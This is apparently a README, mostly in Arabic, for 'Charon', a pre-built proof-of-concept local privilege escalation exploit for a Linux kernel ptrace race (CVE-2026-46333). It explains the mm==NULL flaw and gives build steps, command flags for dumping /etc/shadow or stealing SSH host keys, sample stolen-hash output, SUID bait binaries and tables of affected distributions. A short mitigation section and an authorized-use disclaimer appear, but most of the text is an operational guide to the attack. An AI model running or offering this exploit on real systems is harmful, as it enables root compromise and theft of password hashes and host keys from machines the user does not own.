
CHARON — pre-built PoC for CVE-2026-46333 (Linux ptrace mm==NULL fd theft)
/ || | | | / \ | _ \ / _ | \ | | | | | || | / _ \ | |) | | | | | | | | | _ |/ ___ | _ <| || | |\ | _||| |// __| _\/|_| _|
ينقل واصفات الملفات عبر نهر ستيكس الخاص بـ exit-mm() CVE-2026-46333 / Linux <= 6.12.89
"مُرْعِبٌ هُوَ الْوُقُوعُ فِي يَدَيِ اللهِ الْحَيِّ." — عبرانيين 10:31
إثبات مفهوم (PoC) مُحكم وخالٍ من التبعيات لثغرة CVE-2026-46333: تجاوز __ptrace_may_access عبر mm==NULL الذي كشفت عنه Qualys في 2026-05-15. يُدير Charon سباقًا بين pidfd_getfd(2) وعملية SUID-root مُحتضِرة لانتزاع واصف ملف /etc/shadow المفتوح لديها عبر نافذة mm-NULL القصيرة داخل do_exit(). شغّله كمستخدم غير مميَّز على جهاز متأثر؛ سيُفرغ /etc/shadow إلى stdout.
$ ./charon
[banner on stderr]
[*] lure /usr/bin/chage target /etc/shadow
root:$y$j9T$ztS5H...$hz9W87TlqxEW...:...
daemon:*:20582:0:99999:7:::
bin:*:20582:0:99999:7:::
...
معدل الإصابة المعتاد: أقل من ثانية على VM رباعية النوى، ~137 محاولة في اختبار الدخان.
تتجاوز __ptrace_may_access() فحص قابلية التفريغ (dumpability) عندما يكون task->mm == NULL. صُمم المسار السريع (fast-path) لخيوط النواة (swapper وغيرها)، التي لا تملك mm بشكل مشروع ولا ينبغي أبدًا تتبُّعها عبر ptrace. لكن do_exit() تشغّل exit_mm() قبل exit_files()، مما يعني أن عملية SUID في فضاء المستخدم تملك لفترة وجيزة:
task->mm == NULL (تم حصد mm) → تخطّي فحص قابلية التفريغsetreuid() → ينجح فحص الوصولتثق pidfd_getfd(2) بفحص الوصول هذا وتُسلّم المهاجم واصفات الملفات المفتوحة لعملية SUID.
do_exit()
├── exit_mm() ← task->mm = NULL
├── ... ← __ptrace_may_access() now lies
└── exit_files() ← fd table reaped
أشار Jann Horn إلى نمط سرقة واصفات الملفات (FD-theft) على lore.kernel.org في أكتوبر 2020. مكث الإصلاح قيد مراجعة القائمين على الصيانة (maintainers) لنحو 6 سنوات قبل أن تعيده Qualys إلى مقدمة الطابور.
الإصلاح في المنبع (upstream): 31e62c2ebbfd (Linus 2026-05-14). حتى 2026-05-15 لم يُدمج النقل الخلفي (backport) في فرعَي linux-6.12.y أو linux-6.6.y المستقرّين.
| الشجرة المستقرة | الحالة |
|---|---|
| linux-6.12.y (≤ 6.12.89) | ❌ متأثرة |
| linux-6.6.y (قبل النقل الخلفي للإصلاح) | ❌ متأثرة |
| mainline ≥ 6.15-rc1 | ✅ مصحّحة (31e62c2ebbfd) |
سيُحدَّث جدول PR / الحالة المتجددة (rolling-status) مع وصول النقلات الخلفية.
# Tiny 38 KB static binary (recommended)
sudo apt-get install musl-tools
make static
# Or just the standard glibc build
make
الناتج: ملف ELF واحد ./charon.
./charon # dump /etc/shadow (default)
./charon -q # no banner / progress, just shadow on stdout
./charon -v # show per-hit + final stats
./charon -r 5000 # more patience for slow systems
./charon -t /etc/ssh/ssh_host_ecdsa_key # different target (uses ssh-keysign bait)
./charon -a # auto-discover SUID/SGID baits if built-ins miss
./charon -L # list candidate baits without trying any
./charon --help
يتجوّل --auto في /usr/bin، /usr/sbin، /usr/local/{bin,sbin}، /usr/lib/openssh، /usr/libexec، /bin، /sbin، ويعثر على كل ملف SUID/SGID عادي (باستثناء الطُعوم التفاعلية مثل su وsudo وnewgrp وpkexec)، ويجرّب كلًّا منها كطُعم ضد الهدف المطلوب. ميزانية كل طُعم ضيقة (5 جولات × 2000 تكرار داخلي) لذا يكتمل الفحص الكامل في ~10 ثوانٍ حتى عندما لا يوجد أيُّ تطابق.
--list-baits هو النسخة للقراءة فقط — يعدّد المرشحين أنفسهم دون إطلاق الاستغلال. مفيد لاستطلاع أيُّ التوزيعات توفّر أيَّ الطُعوم.
| الكود | المعنى |
|---|---|
يأتي Charon بأربعة طُعوم SUID معروفة:
إضافة طُعم هي تعديل من 3 أسطر في مصفوفة lures[] داخل charon.c.
31e62c2ebbfd مباشرة.pidfd_getfd(2) عبر seccomp على المضيفات الإنتاجية.chage وpasswd إذا لم تكن بحاجة إلى تمكين المستخدمين غير المميّزين من الاستعلام عن تقادم كلمات المرور.no_new_privs على المضيف يحجب اللبنة الأساسية (primitive) بالكامل — يصبح كل "SUID" داخل الحاوية خاملًا، تاركًا Charon بلا فريسة.آلة VM الخاصة بتحدي Google kernelctf VRP تشغّل bash الخاص باللاعب داخل صندوق رمل nsjail مع clone_newuser:true (uid 0 غير معيّن)، وchroot:/chroot، وno_new_privs:1. تحت no_new_privs يكون بِت setuid خاملًا، لذا لا توجد فرائس SUID حقيقية داخل الصندوق الرملي، و/flag موجود على المضيف خارج chroot. لذلك لا يمكن لـ Charon الفوز في kCTF VRP. ويظل Charon استغلالًا مشروعًا لرفع الصلاحيات محليًا (LPE) على تثبيتات المعدن العاري من عائلات Debian / Ubuntu / RHEL.
للاستخدام التعليمي والدفاعي المصرّح به فقط.
⛵ STYX ⛵
╔══════════════════════════════╗
║ do_exit(): ║
║ ├── exit_mm() ← task->mm ║
║ │ = NULL ║
║ ├── ... ← ferry ║
║ └── exit_files() ║
╚══════════════════════════════╝
| التوزيعة |
|---|
| النواة |
|---|
| الحالة (2026-05-15) |
|---|
| Debian trixie | 6.12.86+deb13 | ❌ |
| AlmaLinux 10.1 | 6.12.0-124.55.3 | ❌ |
| Ubuntu 26.04 | 7.0.0-15 | ⚠️ تحقّق |
| Fedora 44 | 7.0.4-200 | ⚠️ تحقّق |
| 0 |
| نجاح — محتوى الملف على stdout |
| 1 | لا يوجد طُعم SUID على هذا النظام يفتح الملف المطلوب |
| 2 | النواة تبدو مصحّحة (CVE-2026-46333 مغلقة) |
| 3 | نفدت الجولات دون إصابة (نادر؛ جرّب -r 5000) |
| 4 | خطأ CLI / IO |
| الملف الثنائي | الملف الذي يفتحه | تغطية التوزيعات |
|---|
/usr/bin/chage (chage -l <user>) | /etc/shadow | معظم توزيعات Debian وUbuntu وFedora |
/usr/sbin/chage | /etc/shadow | عائلة RHEL / Rocky / Alma |
/usr/bin/passwd (passwd -S <user>) | /etc/shadow | معظم التوزيعات |
/usr/lib/openssh/ssh-keysign | /etc/ssh/ssh_host_*_key | التوزيعات التي يكون فيها HostbasedAuthentication مفعّلًا |